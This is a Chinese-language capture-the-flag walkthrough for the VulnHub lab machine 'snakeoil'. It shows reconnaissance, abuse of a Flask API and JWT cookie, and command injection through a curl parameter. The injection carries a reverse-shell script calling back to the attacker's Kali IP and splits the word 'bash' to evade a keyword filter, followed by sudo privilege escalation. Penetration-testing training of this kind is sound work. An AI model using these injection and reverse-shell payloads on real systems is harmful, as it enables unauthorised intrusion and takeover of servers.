前言
靶機:digitalworld.local-snakeoil
,IP地址為192.168.10.11
攻擊:kali
,IP地址為192.168.10.6
kali
采用VMware
虛擬機,靶機選擇使用VMware
打開文件,都選擇橋接網絡
這里官方給的有兩種方式,一是直接使用virtualbox
加載,另一種是通過VMware
直接加載,也給出了iso
鏡像文件。
文章中涉及的靶機,來源于
vulnhub
官網,想要下載,可自行訪問官網下載,或者通過網盤下載https://pan.quark.cn/s/86cf8a398835
主機發現
使用arp-scan -l
或netdiscover -r 192.168.10.1/24
掃描
也可以使用nmap
等工具進行
信息收集
使用nmap掃描端口
掃描tcp
端口,并保存于nmap-tcp
nmap -sT 192.168.10.11 --min-rate=1000 -p- -oA nmap-tcp
掃描常見的20個udp
端口,不過這里的端口明顯處于open
的很少
nmap -sU 192.168.10.11 --top-ports 20 -T4 -oA nmap-udp
把前面掃描出的tcp、udp
端口,進行處理,只取端口號
grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','
#這里就是包括可能開放的端口都不要,因為是靶機,可能過濾的話,也會無法進一步掃描
ports=22,80,8080,68,69,138,161,631,1434,1900
對特定的端口號進行深入探測
nmap -sV -O -sC -sT 192.168.10.11 -p $ports -oA detail
使用腳本檢測有無漏洞
nmap --script=vuln 192.168.10.11 -p $ports -oA vuln
網站信息探測
訪問80端口界面,應該是搭建成功的界面,訪問頁面源代碼,并沒有信息泄露
使用whatweb
和瀏覽器插件wappalyzer
進行分析
使用gobuster
等目錄爆破工具進行測試
gobuster dir -u http://192.168.10.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.bak,.txt,s,.,.html -b 403-404
可以看到,掃描并未有內容出現
訪問8080端口的界面,這個界面,有點像之前未綁定域名時的界面,不知道是否如此
查看頁面源代碼,也沒有信息泄露
點擊進行測試,訪問edit
,就是每個文章的編輯,發現有delete post
的選項,并且點擊后,可以直接就刪除這個文章了
不過訪問house rules
時,也是發現了一個人名patrick
這里反應很慢,通過瀏覽器的網絡功能,發現請求的js
可能是來自國外的,所以建議這里自己使用魔法一下。
訪問useful links
,發現其中提到JWT
認證
使用gobuster
目錄爆破工具,針對8080
端口的網站進行目錄爆破
gobuster dir -u http://192.168.10.11:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.bak,.txt,.sh,.html -b 403-404
訪問login
界面,提示當前的get
方式不行,并且服務器給出回應,可用的方式有兩個
那么建議使用burp
或者yakit
抓包吧,更改請求類型后,還是沒什么東西。改為post
還有內容,但是options
后,沒有任何東西
訪問同樣是405
狀態碼的run
,這個更改為post
后,給出了返回,也就是應該有一個form
表單,這個表單中輸入url
,其實就是需要知道參數。這個沒辦法
訪問users
,發現東西了,這里就是出現用戶名和密碼了
$pbkdf2-sha256$29000$e0/J.V.rVSol5HxPqdW6Nw$FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040
嘗試使用john
進行破解
$pbkdf2-sha256$29000$e0/J.V.rVSol5HxPqdW6Nw$FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040
這種形式是使用了 PBKDF2(Password-Based Key Derivation Function 2)算法結合 SHA256 哈希函數進行的密碼哈希加密結果。具體解釋如下:
$pbkdf2-sha256$
:表示使用的是 PBKDF2 算法并且哈希函數是 SHA256。PBKDF2 是一種基于密碼的密鑰派生函數,它通過多次迭代和加鹽等操作,增加破解密碼的難度,增強安全性。29000
:這個數字表示迭代次數,即 PBKDF2 算法在計算密鑰派生值時對輸入密碼進行哈希計算的次數。迭代次數越多,破解密碼所需的時間和計算資源就越多。e0/J.V.rVSol5HxPqdW6Nw
:這是鹽值(salt),鹽是一個隨機值,與密碼一起參與哈希計算。鹽值的作用是使得即使用戶使用了相同的密碼,其哈希結果也會不同,進一步增加破解的難度。FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040
:這部分是最終生成的密碼哈希值。
這里繼續進行總結觀察
抓包分析以獲取shell
這里還是說一下,并非就一定使用burp
,工具很多
使用burp修改數據包
之前抓取的幾個界面感覺有搞頭,/login
和run
和registration
訪問registration
這里是返回提示“錯誤的方法”
那么采用POST方式后,提示username
區域為空
一般對于registration
都是注冊,假設這里一樣呢,因為也涉及到用戶名。
那么一般都是與表單有關的,所以,嘗試進行添加,參數是username
這里建議從burp
的右側界面進行添加,因為這樣burp
會自動加上Content-type
請求體的
這里提示password
參數也沒有數據,所以再添加數據password
根據返回數據來看,已經成功, 讓訪問login
的api
進行登錄,并且給出了一個token
值,這個肯定有用
訪問login
使用剛剛注冊成功的進行登錄
修改請求方式為POST
,然后點擊后,所需參數與注冊時一樣,就直接截圖參數到位的圖片
但是這里登錄成功,并沒有跳轉,所以可能就到這里,還有一個run
,訪問它
訪問run
但是這里的返回并沒有參數,該怎么辦呢,仔細觀察,或許這是json
的形式進行傳遞的
以json
數據在請求體中進行測試,不過直接測試127.0.0.1:80
后,無效果
說明還是有一個所謂的參數,一直說提供url
,是否參數就是url
呢,測試一下,當然形式上都測試一下,先測試表單的請求,可以看到不行
直接使用burp
的擴展,更改為json
形式
返回不一樣了,這里要一個密鑰,綜合來說,目前密鑰的形式可能有patrick
的哈希密碼。以及注冊用戶snake
給的一個access_token
,不過這里進行login
時,是使用注冊的用戶snake
,是否需要的就是這個access_token
呢。
這個token
,一般都是放置在cookie
中的,那么直接添加測試,直接在這里發現不行,這個secret_key
可能不是這兩個中的任一個。
訪問secret
根據名稱聯想,之前的目錄secret
還沒測試,訪問測試一下,直接500
內部服務器問題?這里目前有的只有access_token
以及賬戶密碼,嘗試添加access_token
測試能否訪問
還是不行,這不應該啊,我測試多次,無奈,看了一下wp
。
有點無語,名稱是access_token_cookie
???????啊啊啊啊啊啊啊
唉,訪問成功,獲取到secret_key
的值commandexecutionissecret
直接在run
中的json
數據,再添加以一段即可
命令執行
這里可以看到右邊的返回,像是統計,這里的secret_key
是固定的,必須有才能有返回
但是url
參數的值,并非固定的,嘗試修改一下進行測試,只要在引號內修改,任意值的返回都是這個
并且,這里返回中,說不能解析主機id
,采用的是curl
我是否可以猜測,這其實是一個curl
命令語句,經測試就是類似于這種
所以在burp
上再測試,發現直接在引號內輸入;id
是不行的,可能在某些符合內吧。想到可以使用反引號 ``
這個可以執行的
"url":"127.0.0.1:80;`id`",
"secret_key":"commandexecutionissecret"
相當于可以命令執行,并且這個返回其實可以搞掉,因為是正確的返回,那么直接給它2>/dev/null
。
反正大差不差,直接命令執行一個反彈shell
進行測試,直接搞命令不行,感覺可能有過濾等情況發生,那么直接在kali
中創建一個腳本shell.sh
,代碼如下
bash -i >& /dev/tcp/192.168.10.6/9999 0>&1
然后通過這個把其下載,根據curl
的命令,加上-O
參數即可,這里也測試過php
文件,但是對php
進行關鍵字處理了
想辦法執行執行這個腳本,測試過,命令執行不能有空格,也就是單個命令可以
經過測試,對關鍵字bash
進行了篩選,不能直接有bash
出現
所以需要進行拼接
"http://192.168.10.6:8888/shell.sh -O;`a='bas';b='h';$a$b shell.sh`",
使用postman修改
打開postman
工具后,直接輸入網址地址即可,這里與burp
不同,這里基本上無需抓包,而是通過修改包然后直接請求的方式
大致情況如下,基本上差不多
這里就放兩張圖,不過一定要注意,postman
與burp
是不同的,這里使用這個工具也是提醒自己
靶機內信息收集
以patrick
獲取到的反彈shell
,查看當前靶機內的用戶,發現只要patrick
ls -l /home
cat /etc/passwd | grep /bin/bash
查看網絡連接狀態
ip add
ss -antulp
netstat -antulp
查看內核版本和系統版本
uname -a
uanme -r
cat /etc/issue
cat /etc/*release
lsb_release
查看以root
執行的進程
ps aux | grep root
使用find
尋找一些權限
find / -perm \o+w 2>/dev/null
find / -perm -4000 -print 2>/dev/null
使用sudo -l
查看,發現兩個,一個以root
執行無需密碼的shutdown
,一個是需要密碼,所有都可以
但是這里不知道patrick
的密碼
查看由python
搭建的flask
網站配置,該配置文件就在patrick
的家目錄下,路徑為/home/patrick/flask_blog
查看主文件app.py
,發現幾個可能是密碼的東西
當然這個文件中,還涉及到一些防護,是真的對bash
等關鍵字進行防護了
嘗試以獲取的密碼進行登錄測試
snakeoilisnotgoodforcorporations
NOreasonableDOUBTthisPASSWORDisGOOD
最終以密碼NOreasonableDOUBTthisPASSWORDisGOOD
登錄了patrick
賬戶
提權
根據前面的sudo -l
的配置可以知道,這里知道密碼后可執行sudo
一切了
sudo /bin/bash -p
查看root
主目錄下的文件
總結
該靶機有以下幾點:
- 對于網站,最好就是在瀏覽時,借助抓包工具,這樣可以分析很多,可以使用
burp
或yakit
等 - 對于一些網站中的請求方式,請求方式不同,也會導致返回不同,這個是重點的,還有許多
http
的請求頭不同,返回也會不同的 - 對于
http
協議中的一些東西,一定要了解,這里比如請求體數據格式,請求頭cookie
,content-type
等等 python
搭建的網站也是要了解的,這里的flask
也是有很多漏洞的,具體可以百度搜索一下。